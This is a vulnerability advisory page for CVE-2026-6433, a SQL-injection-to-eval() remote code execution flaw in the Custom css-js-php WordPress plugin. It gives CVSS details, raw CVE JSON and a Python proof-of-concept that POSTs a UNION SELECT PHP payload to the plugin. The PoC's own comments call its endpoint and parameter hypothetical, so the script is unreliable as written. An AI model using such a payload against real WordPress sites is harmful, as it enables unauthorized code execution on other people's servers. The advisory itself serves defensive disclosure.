Security Vulnerability Report
中文
CVE-2026-6433 CVSS 7.3 HIGH

CVE-2026-6433

Published: 2026-05-11 06:16:10
Last Modified: 2026-05-12 14:47:04

Description

The Custom css-js-php WordPress plugin through 2.0.7 does not properly sanitize user input before using it in a SQL query, and the result is passed to eval(), allowing unauthenticated users to execute arbitrary PHP code on the server.

CVSS Details

CVSS Score
7.3
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Custom css-js-php <= 2.0.7

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests def check_vulnerability(target_url): """ PoC for CVE-2026-6433 Exploits SQL Injection leading to eval() RCE. Note: The specific endpoint parameter might vary based on plugin configuration. """ # Hypothetical endpoint and parameter based on typical plugin structures full_url = f"{target_url}/wp-content/plugins/custom-css-js-php/public/index.php" # Payload attempts to inject PHP code into a SQL query result that is passed to eval() # Example: ' OR '1'='1' UNION SELECT 'system("id");' # # Assuming the vulnerable query selects a value that is then eval'd. payload_data = { "css_id": "1 UNION SELECT 'phpinfo();'-- -" } try: response = requests.post(full_url, data=payload_data, timeout=10) # Check if the output contains signs of phpinfo execution if "PHP Version" in response.text or "phpinfo()" in response.text: return "[+] Vulnerability confirmed: Remote Code Execution successful." else: return "[-] Target may not be vulnerable or payload incorrect." except Exception as e: return f"[!] Error occurred: {str(e)}" if __name__ == "__main__": target = "http://example.com" # Replace with target print(check_vulnerability(target))

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-6433", "sourceIdentifier": "[email protected]", "published": "2026-05-11T06:16:09.707", "lastModified": "2026-05-12T14:47:03.570", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Custom css-js-php WordPress plugin through 2.0.7 does not properly sanitize user input before using it in a SQL query, and the result is passed to eval(), allowing unauthenticated users to execute arbitrary PHP code on the server."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 3.4}]}, "references": [{"url": "https://wpscan.com/vulnerability/a0b1c059-e156-4402-ac8d-67f8ad7386cc/", "source": "[email protected]"}]}}